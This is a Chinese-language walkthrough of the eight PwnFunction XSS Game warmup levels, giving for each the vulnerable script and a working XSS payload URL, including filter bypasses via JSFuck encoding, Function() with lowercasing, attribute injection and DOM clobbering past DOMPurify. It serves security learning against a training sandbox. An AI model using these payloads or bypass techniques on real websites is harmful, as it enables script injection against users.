靶场不需要安装任意环境 链接如下：XSS Game - Learning XSS Made Simple! | Created by PwnFunction
目录
XSS Game
第一关：Ma Spaghet!
第二关：Jefff
第三关：Ugandan Knuckles
第四关：Ricardo Milos
第五关：Ah That's Hawt
第六关：Ligma
第七关：Mafia
第八关：Ok, Boomer
XSS Game
第一关：Ma Spaghet!
按f12 点开元素 找到<script>标签
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>知道 有个somebody的传参点
在网页上输入
https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<img src=1 onerror=alert(1337)>
效果如图：
表示成功传参1337
第二关：Jefff
js代码如下：
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {maname.innerText = ma
}, 1000)
</script>找到eval(`ma = "Ma name ${jeff}"`)有个传参点
试着在网页输入这串url链接
https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa发现标题和h2标签改变内容 说明此jeff传参点有效
尝试输入另一个url链接
https://sandbox.pwnfunction.com/warmups/jefff.html?jeff="alert(1337)"发现alert(1337)被当做字符串进行输入了
查官方文档所知setTimeout定时将ma里的代码进行innerText文本输出，我们可以在ma里进行闭合，逃出innerText范围，在setTimeout执行逃出的代码。
所以在alert(1337)这段语句中用-来连接语句
所以更改url链接为
https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=%22-alert(1337)-%22
第三关：Ugandan Knuckles
从js代码可知：
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>发现发现replace用空替换全局的[、<、>、]符号，然后把wey放到了input标签里
不能直接传如<>,就要考虑能不能闭合。
函数能执行js
"onfocus=alert(1337)"且wey有传参点
先试着用第一个url链接进行尝试
https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaaa%22onfocus=alert(1337)%22
然后发现onfocus语句要用户交互才能触发条件，但不符合本关卡要求，但通过js文档可知autofocus可以自动触发js
所以改函数为
aaaa"onfocus=alert(1337)%20autofocus="试着第二个url链接
https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaaa%22onfocus=alert(1337)%20autofocus=%22
第四关：Ricardo Milos
分析其中重要的js代码
<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>找到ricardo不需要做任何限制即可上传js代码所以
URL链接为
https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=javascript:alert(1337)
第五关：Ah That's Hawt
先看js代码
<script>smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")smith = smith.replace(/[\(\`\)\\]/g, '')will.innerHTML = smith
</script>可知get的markassbrownlee有个传参点
没有过滤<>那就可以用img标签
所以代码为
<img src=1 onerror="alert(1337)">先试一试此url链接
https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=%3Cimg%20src=1%20onerror=%22alert(1337)%22%3E
发现括号被过滤，这个时候联想到括号编码
将代码改为
<img src=1 onerror="alert%25281337%2529">url链接改为
https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=%3Cimg%20src=1%20onerror=%22alert%25281337%2529%3E
结果发现并没有对28，29进行编码 ，是什么原因呢？是不是把它当成一整字符串了，所以没有编码通过查资料得知payload,查了location的用法是
所以把代码改为
<img src=1 onerror=location="javascript:alert%25281337%2529">具体URL链接为
https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=%3Cimg%20src=1%20onerror=location=%22javascript:alert%25281337%2529%22%3E
成功
第六关：Ligma
先分析js代码
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)发现balls为漏洞传参点
1）分析代码：过滤英文大小写和数字
2）没有限制字符长度，我们可以用jsfuck.com网址，将alert(1337)转成字符串再传入。
3）如果不行，再进行urlcode编码
一道字母数字的绕过，想到的第一个方向就是通过编码译码来绕过,使用jsfuck工具编码
把jsfuck编码变为urlcode编码为
编码前：
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所以url链接为
https://sandbox.pwnfunction.com/warmups/ligma.html?balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%2B%5B!%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%2B(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D))%5B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B((%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5D(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)()((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)
第七关：Mafia
先分析js代码：
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
我们看到这一关过滤了很多，最主要过滤了alert,但是他没有过滤大写，但是html是严格区分大小写的，这就很头疼，但是想到了官方给出了这么一个函数Function.
这样我们就可以解决这个难题，查看了他的用法就开始构造payload，也想到前端有个函数可以将大写转化为小写。
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()URL链接为
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
成功
第八关：Ok, Boomer
先分析js代码
<h2 id="boomer">Ok, Boomer.</h2>
<script>boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
</script>我们看到有两个限制函数DOMPurify，innerHTML 。DOMPurify在网上开源的，可以查到他的黑白名单。
之后我们来看看漏洞点， setTimeout(ok, 2000)这个语句。
setTimeout ()可以执行函数，那要怎么进到这个函数里面呢，我们就需要构造ok。
?<a id=ok href=tel:alert(1337)>
a标签是在白名单内的，id=ok作为标识符，再利用锚点标签的 href 属性，构造一个电话协议的url
alert(1337)一个js的函数调用。这里为什么用tel因为他在DOMPurify的白名单内。
具体url链接为
https://sandbox.pwnfunction.com/warmups/ok-boomer.html?boomer=%3Ca%20id=ok%20href=tel:alert(1337)%3E
 与 Less 的区别与选择)
